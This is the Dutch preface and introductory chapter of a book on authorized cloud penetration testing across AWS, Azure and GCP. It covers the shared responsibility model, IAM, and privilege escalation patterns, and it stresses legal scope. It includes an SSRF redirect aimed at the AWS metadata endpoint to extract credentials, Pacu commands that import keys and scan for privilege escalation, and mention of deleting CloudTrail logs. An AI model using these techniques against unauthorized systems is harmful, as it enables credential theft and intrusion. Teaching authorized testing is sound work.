Voorwoord

Er is een fascinerende discrepantie tussen hoe organisaties denken over hun cloudbeveiliging en hoe die beveiliging er werkelijk uitziet. Vraag een CTO hoe het staat met de security van hun cloud-omgeving, en hij zal je vertellen dat alles in orde is. Ze gebruiken AWS. Of Azure. Of Google Cloud. En die providers – dat zijn toch de slimste engineers ter wereld? Die regelen de beveiliging toch? Er is encryptie at rest. Er is encryptie in transit. Er staan vinkjes bij alle compliance-frameworks. Alles is geregeld.

Vraag vervolgens een cloud penetratietester hoe het staat met diezelfde omgeving, en je krijgt een verhaal dat aanzienlijk minder geruststellend is. Een verhaal over S3 buckets die publiek toegankelijk zijn en al maanden stilletjes data lekken naar het internet. Over IAM-rollen met AdministratorAccess die zijn aangemaakt “voor die ene migratie” en er nooit meer zijn afgehaald. Over service accounts met hardcoded credentials in Lambda-functies. Over een Conditional Access Policy die er op papier waterdicht uitziet, maar in de praktijk omzeild kan worden door een aanvaller met een gratis e-mailadres en tien minuten geduld.

Dit boek gaat over dat tweede verhaal.

Het is een verhaal dat zich herhaalt in elke organisatie die naar de cloud is gemigreerd – en dat zijn inmiddels vrijwel alle organisaties. De details verschillen: hier is het een vergeten Access Key, daar een Lambda-functie met environment variables die leesbaar zijn voor iedereen met een GetFunction-permissie, elders een Entra ID-configuratie die ervoor zorgt dat elke gastgebruiker de volledige adreslijst van de organisatie kan downloaden. Maar het patroon is altijd hetzelfde. De beveiligingsaannames kloppen niet. En de aanvaller hoeft alleen maar de aannames te vinden.

Waarom dit boek

“Incompetent Bastards: De Cloud” is het derde deel in een serie over penetratietesten. Het eerste boek – “De Webapplicatie” – behandelde de kwetsbaarheden in webapplicaties, van SQL injection tot Server-Side Request Forgery. Het tweede boek – “Het Netwerk” – ging het interne netwerk in: Active Directory, Kerberos, lateral movement, en alles wat daartussen zit.

Dit boek gaat over het terrein dat in rap tempo het nieuwe slagveld is geworden: de cloud.

En “slagveld” is het juiste woord. De cloud is niet simpelweg een netwerk dat ergens anders staat. Het is een fundamenteel ander paradigma, met eigen regels, eigen aanvalsoppervlakken, en eigen manieren om spectaculair mis te gaan. De vaardigheden die je nodig hebt om een Active Directory-domein te compromitteren overlappen gedeeltelijk met wat je nodig hebt in de cloud, maar de verschillen zijn minstens zo belangrijk als de overeenkomsten.

In de cloud is identiteit de nieuwe perimeter. Een IAM policy is het nieuwe firewall-ruleset. Een misconfiguratie in een resource policy kan meer schade aanrichten dan een ongepatchte server, want die misconfiguratie schaalt mee met alles wat eraan hangt. En dat is precies het probleem: alles schaalt in de cloud. Inclusief de fouten.

De ethische grens

Dit herhalen we in elk deel, en we zullen het blijven herhalen tot het overbodig wordt. Dat moment lijkt nog ver weg.

Alles in dit boek is uitsluitend bedoeld voor gebruik in geautoriseerde penetratietesten. Je hebt schriftelijke toestemming. Je hebt een scope-document dat expliciet beschrijft welke cloud-accounts, subscriptions, projecten, regio’s en services binnen bereik vallen. Je hebt een escalatieprocedure. Je hebt telefoonnummers van mensen die opnemen als je per ongeluk een productie-database hebt verwijderd die niet door een deletion policy werd beschermd.

In de cloud is de ethische grens extra scherp, om twee redenen.

Ten eerste: het shared responsibility model. AWS, Azure en GCP beveiligen de infrastructuur onder je workloads. Jij beveiligt wat er op draait. Dat betekent dat je als pentester de verantwoordelijkheid draagt voor alles wat je doet binnen die gedeelde omgeving. Een misconfiguratie in je pentest-tooling kan data lekken naar het publieke internet. Een verkeerd geconfigureerde security group kan een pad openen dat er niet hoort te zijn. De blast radius van een fout in de cloud is groter dan on-premise, omdat de cloud per definitie verbonden is met het internet.

Ten tweede: multi-tenancy. Cloud-omgevingen delen fysieke infrastructuur met andere klanten. Een pentest die onbedoeld buiten de scope treedt, raakt niet alleen je opdrachtgever – het raakt potentieel andere organisaties op dezelfde infrastructuur. Dat is niet alleen onethisch; het is illegaal in vrijwel elk rechtsgebied.

Zorg ervoor dat je scope-document de volgende cloud-specifieke elementen bevat: AWS Account IDs, Azure Subscription IDs, of GCP Project IDs die binnen scope vallen. Regio’s die getest mogen worden. Services die binnen bereik vallen. En – cruciaal – een expliciete vermelding of je penetration testing notification hebt ingediend bij de cloudprovider. AWS heeft sinds 2023 geen voorafgaande goedkeuring meer nodig voor de meeste pentests, maar Azure en GCP hebben hun eigen regels. Ken die regels. Volg ze.

De wet is duidelijk. In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht. In de cloud is de grens tussen geautoriseerd en ongeautoriseerd soms subtiel – een account dat je mag testen bevat een role trust naar een account dat buiten scope valt; een SSRF lekt credentials van een service in een andere regio dan afgesproken – maar de wet maakt dat onderscheid niet voor je. Jij maakt dat onderscheid. En je maakt het voordat je op Enter drukt, niet erna.

Gebruik deze technieken verantwoord. Of gebruik ze niet.

Voor wie is dit boek

Dit boek is geschreven voor twee doelgroepen die meer met elkaar gemeen hebben dan ze doorgaans denken.

De eerste groep is de penetratietester die van on-premise naar cloud wil. Je kent Active Directory. Je kent Kerberos. Je kunt in je slaap een Golden Ticket maken. Maar als iemand je vraagt om een AWS-omgeving te testen, sta je daar met je Rubeus in de hand en een leeg gevoel van binnen. Dit boek leert je de cloud-equivalenten van de technieken die je al kent, en de technieken die geen on-premise equivalent hebben.

De tweede groep is de cloud engineer die wil begrijpen hoe aanvallers denken. Je bouwt IaC-templates, configureert IAM policies, en deployt workloads. Maar je hebt nooit vanuit het perspectief van de aanvaller naar je eigen werk gekeken. Dit boek laat je zien welke aannames je maakt die niet kloppen, welke standaardinstellingen onveilig zijn, en waarom die “tijdelijke” exception in je security group al zes maanden meedraait.

Wat we verwachten: basiskennis van cloud computing (je weet wat een VM is, je hebt weleens ingelogd op de AWS Console of Azure Portal), enige ervaring met de command line, en de bereidheid om te leren door te doen.

Wat we niet verwachten: dat je een cloud-expert bent. Daar is dit boek voor.

Een kanttekening, dezelfde als in de vorige delen: dit boek is geen certificeringsgids. Het bereidt je niet voor op de AWS Security Specialty, de AZ-500, de CCSP, of een andere verzameling letters die indruk maakt op een LinkedIn-profiel maar weinig zegt over daadwerkelijke vaardigheid. Wat het wel doet is je de kennis geven die je nodig hebt om die certificeringen te begrijpen – en om de kloof te zien tussen wat een certificering test en wat de echte wereld van je vraagt.

Twee perspectieven

Net als in de voorgaande delen is dit boek geschreven vanuit twee perspectieven.

De eerste is die van de nieuwsgierige ontdekkingsreiziger – iemand die zich oprecht verwondert over het feit dat je met drie regels CLI-code een volledige database kunt deployen in een datacenter op een ander continent, en die vervolgens wil begrijpen waarom de standaard beveiligingsinstellingen van die database zo hartgrondig tekortschieten.

De tweede is die van de cynicus – iemand die niet kan geloven dat we de fouten van het on-premise tijdperk niet alleen hebben meegenomen naar de cloud, maar ze ook nog eens hebben geschaald. Want als er een ding is waar de cloud goed in is, dan is het schalen. Inclusief het schalen van incompetentie.

Samen vormen ze, hopen we, een boek dat je zowel iets leert als bij de les houdt. De nieuwsgierige stem vraagt “hoe werkt dit?” De cynische stem vraagt “hoe hebben we dit laten gebeuren?” En samen komen ze uit bij “wat kunnen we eraan doen?”

De structuur van het boek

Dit boek volgt het pad van een cloud-penetratietest, van de eerste reconnaissance tot het eindrapport. We beginnen met de basis: wat is de cloud vanuit het aanvalsperspectief, hoe werkt identiteit, hoe zet je een lab op. Vervolgens lopen we door de aanvalsfasen: reconnaissance, credential harvesting, privilege escalation, lateral movement, persistence. We eindigen met rapportage en compliance – het deel dat bepaalt of je bevindingen daadwerkelijk tot verbeteringen leiden.

Elk hoofdstuk behandelt alle drie de grote cloudproviders (AWS, Azure, GCP) waar relevant. De commando’s en voorbeelden zijn per provider gemarkeerd, zodat je snel kunt vinden wat je nodig hebt voor het platform waarmee je werkt.

Leesconventies

De conventies uit de voorgaande delen gelden onverminderd, met enkele cloud-specifieke toevoegingen.

Code en commando’s staan in code blocks met syntax highlighting. Cloud CLI-commando’s worden gemarkeerd met hun respectieve CLI:

# AWS CLI
aws sts get-caller-identity

# Azure CLI
az account show

# Google Cloud CLI
gcloud auth list

IB Tips zijn praktische verwijzingen naar het Incompetent Bastard-dashboard:

IB Tip: De Command Library bevat cloud-specifieke commando’s. Zoek op cloud_ voor AWS-, Azure- en GCP-gerichte technieken.

Placeholder-waarden gebruiken cloud-specifieke conventies:

Verdedigingsmaatregelen worden per techniek beschreven. In de cloud zijn verdedigingsmaatregelen vaak een policy-wijziging of een configuratie-aanpassing, niet een patch of een upgrade. Dat maakt ze tegelijkertijd eenvoudiger te implementeren en moeilijker te handhaven – want een policy die niemand afdwingt is geen policy.

MITRE ATT&CK Cloud Matrix-referenties worden per techniek vermeld. De Cloud Matrix bevat technieken die specifiek zijn voor cloud-omgevingen (IaaS, SaaS, Identity Provider) en is een uitbreiding op de Enterprise Matrix die in de voorgaande delen werd gebruikt.

Het gereedschap

Door het hele boek gebruiken we Incompetent Bastard (IB) als operationele hub, aangevuld met cloud-specifieke tooling.

De cloud-gereedschapskist:

IB’s Command Library bevat cloud-commando’s die dezelfde conventies volgen als de netwerk- en webcommando’s: kopieerbare blokken met inline commentaar, placeholders die automatisch worden vervangen, en directe verwijzingen naar de technieken uit dit boek.

De architectuur van IB – een lokale Flask-applicatie met SQLite, zonder cloud-afhankelijkheden, zonder telemetrie – is bijzonder passend voor cloud-pentesting. Je pentest-tooling draait op je eigen machine, geïsoleerd van de cloud-omgeving die je test. Je bevindingen, credentials, en evidence verlaten nooit je systeem. In een vakgebied waar we de hele dag praten over het risico van data in andermans cloud, is het prettig om te weten dat je eigen tooling dat risico niet deelt.

De SSRF-module in IB (/ssrf) is bijzonder relevant voor cloud-pentests. Cloud metadata-endpoints – 169.254.169.254 voor AWS en GCP, 169.254.169.254 voor Azure IMDS – zijn het primaire doelwit van SSRF-aanvallen in cloudomgevingen. IB bevat redirect-endpoints die specifiek zijn ontworpen om deze metadata-services te bereiken via SSRF.

IB Tip: De SSRF redirect-endpoints in IB ondersteunen cloud metadata-extractie. Gebruik /ssrf/redirect?url=http://169.254.169.254/latest/meta-data/ voor AWS Instance Metadata Service. IB logt elke redirect, zodat je precies kunt zien welke metadata werd opgehaald.

De zusterboeken

Dit boek vormt samen met “Incompetent Bastards: De Webapplicatie” en “Incompetent Bastards: Het Netwerk” een drieluik dat het volledige spectrum van penetratietesten bestrijkt.

“De Webapplicatie” behandelt de applicatielaag: SQL injection, XSS, SSRF, deserialisatie, en alles wat daartussen zit. Veel cloud-aanvallen beginnen bij een webapplicatie – een SSRF die metadata lekt, een command injection die IAM credentials dumpt – en de technieken uit het eerste boek zijn daarmee direct relevant.

“Het Netwerk” behandelt het interne netwerk en Active Directory. De hybride wereld waarin de meeste organisaties opereren – met een on-premise AD dat is gesynchroniseerd naar Azure AD via Entra Connect – maakt de technieken uit het tweede boek onmisbaar voor cloud-pentests. Een gecompromitteerd on-premise AD is vaak een directe route naar de cloud, en vice versa.

Waar nodig verwijzen we naar de zusterboeken. De Command Library in IB weerspiegelt het drieluik: web_-commando’s voor webapplicaties, ad_- en kerb_-commando’s voor het netwerk, en cloud_-commando’s voor de cloud.

De drie boeken zijn complementair, maar onafhankelijk leesbaar.

Waarschuwingen

Door het hele boek heen gebruiken we waarschuwingen voor technieken die een hoog risico dragen op onbedoelde gevolgen:

Let op: Het verwijderen van een CloudTrail trail in een productie-omgeving heeft onmiddellijk effect en kan een compliance-schending veroorzaken. Gebruik deze techniek alleen in je lab of wanneer de scope het expliciet toestaat.

Cloud-operaties zijn vaak onomkeerbaar. Een verwijderde S3 bucket met versioning uitgeschakeld is permanent weg. Een geroteerde Access Key invalideert onmiddellijk alle systemen die die key gebruiken. Een aangepaste IAM policy kan honderden services beinvloeden. De blast radius in de cloud is groter dan on-premise, en de snelheid waarmee je schade kunt aanrichten is evenredig.

Wees voorzichtig. Test in je lab. En als je twijfelt, bel je contactpersoon.

Hoe dit boek te lezen

Net als de voorgaande delen kun je dit boek op twee manieren lezen.

De eerste manier is lineair: begin bij hoofdstuk 1, volg het pad van cloud-reconnaissance tot rapportage, en oefen de technieken in je lab terwijl je leest. Dit is de aanbevolen aanpak voor wie nieuw is in cloud-pentesting. De hoofdstukken bouwen op elkaar voort – identiteit vormt de basis voor privilege escalation, privilege escalation opent de deur naar lateral movement, en lateral movement leidt tot data-exfiltratie.

De tweede manier is als naslagwerk: je zit midden in een engagement, je hebt een set AWS-credentials verkregen via een SSRF, en je wilt snel opzoeken welke enumeratie-stappen je nu moet uitvoeren. Blader naar het relevante hoofdstuk, zoek de techniek, kopieer het commando. De referentietabellen aan het einde van elk hoofdstuk zijn hiervoor ontworpen.

Wat je niet moet doen – en we weten dat het toch gebeurt – is willekeurig commando’s uit dit boek kopieren en ze uitvoeren tegen systemen die je niet mag testen. We hebben het er al over gehad. We gaan het er niet nog een keer over hebben. Goed. Misschien nog een keer: niet doen.

Dankwoord

Dank aan de cloud-engineers die dag en nacht werken aan de beveiliging van de infrastructuur waarop de wereld draait. Dank aan de open-source-gemeenschap die tools bouwt als ScoutSuite, Pacu, ROADtools, CloudFox, en Prowler – gereedschappen die het mogelijk maken om cloud-omgevingen systematisch te testen. Dank aan de security-onderzoekers die IAM privilege escalation-paden documenteren en publiceren, zodat verdedigers weten waartegen ze zich moeten beschermen.

Dank aan de lezers van de eerste twee boeken die hebben gevraagd om een derde deel. Jullie feedback, correcties en suggesties hebben ook dit boek beter gemaakt.

En dank aan elke organisatie die na het lezen van een pentest-rapport daadwerkelijk actie onderneemt. Die de overprivileged policies aanpast. Die MFA afdwingt. Die logging inschakelt. Die niet wacht tot het misgaat, maar handelt voordat het zover is. Jullie zijn nog steeds zeldzaam. Maar jullie worden meer. En voor jullie schrijven we.

Veel plezier. En vergeet niet: altijd met toestemming. Vooral in de cloud, waar een vergissing niet beperkt blijft tot een enkel netwerksegment maar zich kan verspreiden met de snelheid van een API-call.

– Jan-Karel Visser, Kropswolde, 2026

Inleiding

1.1 Het Cloud-landschap

Op 14 maart 2006 lanceerde Amazon een dienst die ze Elastic Compute Cloud noemden – EC2. Het idee was simpel en tegelijkertijd revolutionair: in plaats van je eigen servers te kopen, te huisvesten en te onderhouden, huurde je rekenkracht bij Amazon en betaalde je per uur. Alsof je in plaats van een auto te kopen een taxi nam – maar dan een taxi die nooit vastzat in het verkeer, die je kon klonen als je er meer nodig had, en die je kon wegsturen zodra je uitgestapt was.

Het duurde precies anderhalf decennium voordat vrijwel elke organisatie ter wereld enige variant van dit model had omarmd. Niet omdat het noodzakelijkerwijs beter was – al beweerden de verkopers dat met een stelligheid die grenst aan het religieuze – maar omdat het anders was. En in de IT-wereld is anders vaak voldoende reden.

Vanuit het perspectief van de aanvaller is de cloud een merkwaardig fenomeen. Aan de ene kant heeft het veel traditionele aanvalsvectoren irrelevant gemaakt. Je kunt geen netwerkkabel lostrekken in een datacenter van Amazon. Je kunt geen USB-stick achterlaten op de parkeerplaats van een Azure-regio. De fysieke laag – die in het vorige boek nog een realistisch aanvalsvectorwas – is volledig buiten bereik.

Aan de andere kant heeft de cloud een heel nieuw universum aan aanvalsoppervlakken gecreeerd. API-endpoints die 24/7 bereikbaar zijn vanaf het internet. Identity-systemen van ongekende complexiteit. Honderden services per cloud provider, elk met hun eigen configuratieopties, standaardinstellingen, en eigenaardigheden. En dat alles beheerd via de combinatie van een webinterface en command-line tools die, laten we eerlijk zijn, door niemand volledig worden begrepen – inclusief de mensen die ze hebben gebouwd.

Het Shared Responsibility Model

En dan komen we bij het concept dat de kern vormt van vrijwel elk misverstand over cloudbeveiliging: het Shared Responsibility Model.

Het klinkt redelijk. De cloudprovider beveiligt de infrastructuur – de fysieke servers, het netwerk, de hypervisors. Jij beveiligt wat je erop zet – je applicaties, je data, je configuratie, je identiteiten. Amazon noemt het “security of the cloud” versus “security in the cloud”. Microsoft heeft er een vergelijkbaar diagram voor. Google idem dito.

Het probleem is niet het model zelf. Het model is logisch. Het probleem is dat het model wordt begrepen als: “Wij hoeven ons niet meer druk te maken over beveiliging, want dat doet Amazon/Microsoft/Google voor ons.”

Dat is niet wat het model zegt. Maar het is wat de gemiddelde beslisser ervan onthoudt.

Het shared responsibility model is in feite een juridisch document dat zegt: “Als uw S3 bucket publiek toegankelijk is en er data lekt, is dat uw probleem, niet het onze.” En eerlijk gezegd – dat klopt. Als je de voordeur van je huurappartement open laat staan, is dat niet de schuld van de verhuurder. Maar het zou fijn zijn als de verhuurder niet standaard alle deuren open had geinstalleerd.

IB Tip: Het SSRF-lab in IB (/ssrf) demonstreert hoe het shared responsibility model faalt in de praktijk. De cloud-provider beveiligt de metadata-service (IMDSv2 vereist nu een token), maar als jouw applicatie een SSRF-kwetsbaarheid bevat, is die extra beveiliging vaak te omzeilen. Het lab laat zien hoe.

De illusie van managed security

Er is een subtielere variant van het shared responsibility-misverstand, en die is misschien nog gevaarlijker. Het gaat zo: “Wij gebruiken managed services, dus we hoeven ons geen zorgen te maken over patching, updates, en configuratie.”

Het eerste deel klopt. Als je een managed database gebruikt (RDS, Azure SQL, Cloud SQL), hoef je je geen zorgen te maken over het patchen van het besturingssysteem. De cloudprovider doet dat. Maar de configuratie van die database – wie er verbinding mee mag maken, welke encryptie wordt gebruikt, of er logging is ingeschakeld, of de backup versleuteld is – dat is nog steeds jouw verantwoordelijkheid.

En het is precies in die configuratie dat het misgaat. Niet spectaculair. Niet met een zero-day. Maar met een checkbox die niet is aangevinkt. Met een security group die 0.0.0.0/0 toelaat op poort 3306. Met een IAM policy die "Effect": "Allow", "Action": "*", "Resource": "*" zegt – de cloudequivalent van een universele sleutel die op elke deur past.

De cloud heeft het beveiligingsprobleem niet opgelost. De cloud heeft het beveiligingsprobleem verplaatst van de serverruimte naar de configuratiepagina. En op die configuratiepagina maken mensen dezelfde fouten die ze altijd al maakten – maar nu op schaal.

1.2 De drie grote spelers

De publieke cloudmarkt wordt gedomineerd door drie spelers die samen meer dan twee derde van de markt bezitten. Het zijn dezelfde drie namen die je al verwachtte, want monopolievorming is blijkbaar ook iets dat de cloud goed kan schalen.

Amazon Web Services (AWS)

AWS is de oudste en de grootste. Met een marktaandeel van rond de 31 procent is het de standaard waar veel organisaties mee beginnen – en waar ze vervolgens voor altijd blijven, want migreren vanaf AWS is ongeveer even aangenaam als verhuizen met een huis vol antiek meubilair via een wenteltrap.

AWS heeft meer dan 200 services. Tweehonderd. Dat is niet een typefout. Van compute (EC2) tot databases (RDS, DynamoDB) tot machine learning (SageMaker) tot IoT tot satelliet-grondstations (ja, echt). Het is een ecosysteem van een omvang die niemand volledig overziet – inclusief, naar verluid, mensen die bij Amazon werken.

De architectuur van AWS is georganiseerd rond accounts en regio’s. Een AWS-account is de fundamentele isolatiegrens: resources in het ene account zijn niet automatisch zichtbaar in het andere. Regio’s (eu-west-1, us-east-1, ap-southeast-1) zijn geografische clusters van datacenters. Binnen een regio heb je Availability Zones – fysiek gescheiden datacenters die via een snel netwerk zijn verbonden.

Vanuit het aanvalsperspectief zijn de belangrijkste services:

Microsoft Azure

Azure is de nummer twee met circa 25 procent marktaandeel, en het groeit snel – grotendeels omdat elke organisatie die al Microsoft 365 gebruikt op een dag wakker wordt en ontdekt dat ze blijkbaar ook een Azure-subscription hebben. Het is alsof je een abonnement op de krant hebt en op een dag ontdekt dat je ook toegang hebt tot een compleet TV-netwerk. Surprise.

De architectuur van Azure verschilt fundamenteel van AWS. Waar AWS accounts als isolatiegrens gebruikt, organiseert Azure zich rond tenants, management groups, subscriptions, en resource groups. Een tenant is een Azure Active Directory (nu Entra ID) instantie. Een subscription is de factureringsgrens. Resource groups zijn logische containers voor resources.

Wat Azure uniek maakt vanuit het aanvalsperspectief is de diepe integratie met Entra ID (voorheen Azure AD). Entra ID is de identiteits-provider voor zowel Microsoft 365 als Azure. Dat betekent dat een gecompromitteerd Microsoft 365-account – die ene sales-medewerker die op een phishing-link heeft geklikt – potentieel een pad biedt naar de gehele Azure-omgeving.

En dan is er Entra Connect (voorheen Azure AD Connect): de synchronisatietool die on-premise Active Directory verbindt met Entra ID. In het vorige boek behandelden we hoe je een on-premise AD compromitteert. Met Entra Connect kun je van die compromittatie naar de cloud springen. Het is de brug tussen twee werelden, en bruggen zijn van oudsher favoriete doelwitten voor aanvallers.

Google Cloud Platform (GCP)

GCP heeft ongeveer 11 procent marktaandeel en staat bekend om twee dingen: sterke standaard beveiliging en een interface die eruitziet alsof hij is ontworpen door iemand die een hekel heeft aan knoppen. De GCP Console is minimalistisch op een manier die sommige mensen elegant vinden en andere mensen tot wanhoop drijft.

GCP organiseert zich rond organizations, folders, en projects. Een project is de fundamentele container voor resources, vergelijkbaar met een AWS-account. Folders zijn optionele groeperingslagen. De organization is de top-level container, gekoppeld aan een Google Workspace of Cloud Identity domein.

De beveiliging van GCP is over het algemeen strenger out-of-the-box dan die van AWS en Azure. Cloud Storage buckets zijn niet standaard publiek. Firewall rules zijn deny-by-default. De metadata-service vereist standaard speciale headers. Maar “strenger” betekent niet “onkwetsbaar” – het betekent alleen dat de misconfiguraties die je tegenkomt subtieler zijn.

De multi-cloud realiteit

In theorie kiest een organisatie een cloudprovider en bouwt alles daar. In de praktijk gebruiken de meeste middelgrote en grote organisaties twee of alle drie de providers. AWS voor de core-infrastructuur, Azure omdat ze Microsoft 365 gebruiken en Entra ID nodig hebben, GCP omdat het data-team BigQuery wilde. Het resultaat is een multi-cloud omgeving die niemand volledig overziet, met identiteiten die verspreid zijn over meerdere providers en vertrouwensrelaties die het diagram ingewikkelder maken dan het Metro-netwerk van Tokio.

Voor pentesters is multi-cloud zowel een uitdaging als een kans. De uitdaging: je moet drie sets tools, drie sets API’s, en drie sets terminologie beheersen. De kans: de grenzen tussen providers zijn vaak de zwakste schakels. Een SAML-federatie tussen Entra ID en AWS IAM, een service account key die in een GCP Secret Manager staat maar toegang geeft tot een AWS-account via role assumption – deze kruispunten zijn de plekken waar misconfiguraties zich ophopen, want ze vallen in de verantwoordelijkheid van niemand specifiek.

Dit boek behandelt alle drie de providers, met nadruk op de patronen die ze delen en de eigenaardigheden die ze onderscheiden.

1.3 Cloud vs On-Premise

De sprong van on-premise naar cloud is niet simpelweg een kwestie van dezelfde dingen doen op een andere locatie. Het is een paradigmaverschuiving die je manier van denken als pentester fundamenteel verandert. Laten we de belangrijkste verschillen doorlopen.

Identiteit boven netwerk

In een on-premise omgeving is het netwerk de perimeter. Je hebt een firewall, netwerksegmentatie, VLANs, en ACLs die bepalen wie waar mag komen. In het vorige boek was het eerste wat je deed een nmap-scan om te zien welke poorten openstonden.

In de cloud is het netwerk nog steeds relevant, maar het is niet meer de primaire verdedigingslinie. Die rol is overgenomen door identiteit. Wie ben je? Welke rechten heb je? Tot welke resources heb je toegang? De antwoorden op die vragen worden niet bepaald door welk netwerksegment je zit, maar door je IAM-credentials.

Een aanvaller met geldige AWS-credentials kan vanaf zijn eigen laptop, vanuit elk land ter wereld, via de publieke AWS API, elke actie uitvoeren waarvoor die credentials rechten hebben. Geen VPN nodig. Geen lateral movement nodig. Geen netwerktoegang nodig.

Dat is een fundamentele verschuiving. In de on-premise wereld moest je eerst het netwerk binnenkomen en dan credentials zoeken. In de cloud is het andersom: credentials zijn je netwerktoegang.

# Met deze drie regels ben je "binnen" in een AWS-omgeving
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=wJalr...
aws sts get-caller-identity

Dat is het. Geen exploit. Geen scan. Geen vulnerability. Gewoon credentials en een API-call.

API-First

Alles in de cloud is een API-call. Het aanmaken van een VM, het configureren van een firewall-regel, het toekennen van permissies, het lezen van een bestand uit storage – het zijn allemaal HTTP-requests naar een API-endpoint. De web console die je in je browser ziet is niets meer dan een grafische schil bovenop diezelfde API.

Dit heeft twee implicaties voor pentesters.

Ten eerste: alles is gelogd. Elke API-call wordt vastgelegd in CloudTrail (AWS), Azure Activity Log (Azure), of Cloud Audit Logs (GCP). Dit is zowel een risico (je acties zijn zichtbaar) als een kans (de acties van de verdediger zijn dat ook).

Ten tweede: automatisering is de norm. Je test geen cloud-omgeving door in een console te klikken. Je test hem met scripts, CLI-tools, en frameworks die honderden API-calls per minuut uitvoeren. De tools die we in dit boek gebruiken – Pacu, ScoutSuite, ROADtools, CloudFox – zijn in essentie geautomatiseerde API-clients.

# ScoutSuite: scan een complete AWS-omgeving in minuten
scout aws --profile target-account

# Pacu: AWS exploitation framework
python3 pacu.py
> import_keys AKIA... wJalr...
> run iam__enum_permissions
> run iam__privesc_scan

Ephemeral Resources

In de on-premise wereld is een server een fysiek ding dat in een rack staat. Het heeft een naam, een vast IP-adres, en het draait jaren achtereen. In de cloud kan een resource in seconden worden aangemaakt en in seconden worden vernietigd. Auto Scaling Groups spawnen en killen EC2-instances op basis van load. Lambda-functies bestaan alleen gedurende de milliseconden dat ze worden uitgevoerd. Containers in ECS of AKS leven minuten of uren.

Dit heeft gevolgen voor pentesting. Je kunt niet op je gemak een systeem enumereren als dat systeem over vijf minuten niet meer bestaat. Je kunt geen persistence inrichten op een instance die elke nacht wordt vervangen door een nieuwe. Je moet je aanpak aanpassen aan een omgeving die fundamenteel vluchtig is.

Het betekent ook dat forensisch onderzoek in de cloud een heel ander beest is dan on-premise. De server waarop het incident plaatsvond? Die is al lang weg. De logs? Die staan in CloudWatch, als iemand de retentie goed had geconfigureerd. Het geheugen? Verdampt toen de instance werd geterminate.

Logging en Detectie

In een on-premise omgeving heb je controle over wat er gelogd wordt. Je installeert een SIEM, je configureert Windows Event Forwarding, je zet Sysmon op je endpoints. In de cloud is logging grotendeels ingebouwd – maar niet altijd ingeschakeld.

AWS CloudTrail logt standaard management events (IAM-wijzigingen, resource-creatie) maar niet data events (S3 object reads, Lambda invocations). Dat laatste moet je apart inschakelen, en dat kost geld. Veel organisaties kiezen ervoor om het niet te doen, met als gevolg dat een aanvaller ongestoord data kan exfiltreren uit S3 zonder dat er een logentry wordt geschreven.

Azure Activity Log logt control plane-operaties automatisch, maar de retentie is standaard 90 dagen. Diagnostic Settings moeten expliciet worden geconfigureerd om logs naar een Log Analytics Workspace of Storage Account te sturen.

GCP logt Admin Activity standaard en zonder kosten, maar Data Access logs – wie leest welke data – zijn standaard uitgeschakeld voor de meeste services.

Dit is een belangrijk verschil met on-premise pentesting: in de cloud kun je als pentester relatief eenvoudig achterhalen wat er wel en niet wordt gelogd, en je gedrag daarop aanpassen.

IB Tip: Documenteer de logging-configuratie van de doelomgeving als een van je eerste reconnaissance-stappen. Welke logs zijn ingeschakeld? Wat is de retentie? Worden logs naar een SIEM doorgestuurd? Dit bepaalt je opsec-strategie voor de rest van de test.

1.4 Het Identity-First Paradigma

Identiteit is de nieuwe perimeter. Die zin wordt zo vaak herhaald op security-conferenties dat het een cliche is geworden. Maar cliches worden cliches omdat ze waar zijn, en deze is zo waar dat het bijna pijn doet.

IAM: het AD van de cloud

In het vorige boek beschreven we Active Directory als het telefoonboek, de sleutelbos, en het besturingssysteem van het bedrijfsnetwerk – allemaal tegelijk. IAM (Identity and Access Management) is het cloud-equivalent, maar dan complexer, abstracter, en – als dat mogelijk is – nog slechter begrepen.

In AWS draait IAM om vier kernconcepten:

Users – Menselijke identiteiten met permanente credentials (Access Key ID + Secret Access Key). Het cloud-equivalent van een AD-gebruiker met een wachtwoord dat nooit verloopt.

Roles – Identiteiten die je aanneemt (assume) in plaats van dat je ze bent. Een role heeft geen permanente credentials; hij geeft tijdelijke credentials uit via STS. Roles zijn de cloud-versie van Kerberos-tickets: tijdelijk, overdraagbaar, en met een specifieke scope.

Policies – JSON-documenten die beschrijven welke acties zijn toegestaan of verboden op welke resources. Policies worden gekoppeld aan users, roles, of groups. Ze zijn het equivalent van Group Policy Objects, maar dan in JSON, wat ze tegelijkertijd leesbaar en onleesbaar maakt – afhankelijk van hoeveel nesting er is.

Groups – Logische groeperingen van users waaraan policies worden gekoppeld. Precies wat je verwacht, en precies zo vaak verkeerd geconfigureerd als je vreest.

In Azure heet het equivalent Entra ID (voorheen Azure AD), en het is nauw verweven met de on-premise Active Directory die we in het vorige boek behandelden. Entra ID heeft users, groups, service principals, managed identities, en app registrations – elk met hun eigen rechten, relaties, en manieren om ze te misbruiken.

In GCP draait IAM om members (users, service accounts, groups), roles (verzamelingen van permissions), en policies (bindings van members aan roles op resources). Het model is conceptueel het eenvoudigst van de drie, maar de duivel zit in de resource hierarchy: permissions erven over van organization naar folder naar project naar resource.

Privilege Escalation in de cloud

In het vorige boek beschreven we hoe je van een gewone gebruiker naar Domain Admin escaleert via paden als Kerberoasting, ACL-misbruik, ADCS, en onbeveiligde delegation. In de cloud bestaan vergelijkbare paden, maar ze zien er anders uit.

Cloud privilege escalation is bijna altijd het resultaat van een van deze patronen:

1. Overprivileged permissions: Een user of role heeft meer rechten dan nodig. Dit is de meestvoorkomende oorzaak, en het is de cloud-versie van “te veel mensen in de Domain Admins-groep.”

2. Permission boundaries die ontbreken: AWS heeft Permission Boundaries, Azure heeft Conditional Access, GCP heeft Organization Policy Constraints. Als ze niet zijn geconfigureerd – en dat zijn ze bijna nooit – is er niets dat een user met iam:AttachUserPolicy ervan weerhoudt om zichzelf AdministratorAccess te geven.

3. Role chaining: Het aannemen van een role die het recht heeft om een andere role aan te nemen die het recht heeft om een derde role aan te nemen die AdministratorAccess heeft. Het klinkt als een puzzel. Het is een puzzel. En tools als Pacu lossen die puzzel automatisch voor je op.

4. Cross-service escalation: Een Lambda-functie met een overprivileged execution role. Een EC2-instance met een instance profile die meer rechten heeft dan de instance nodig heeft. Een managed identity op een Azure VM die Key Vault secrets kan lezen.

# AWS: Controleer welke rechten je huidige identiteit heeft
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)

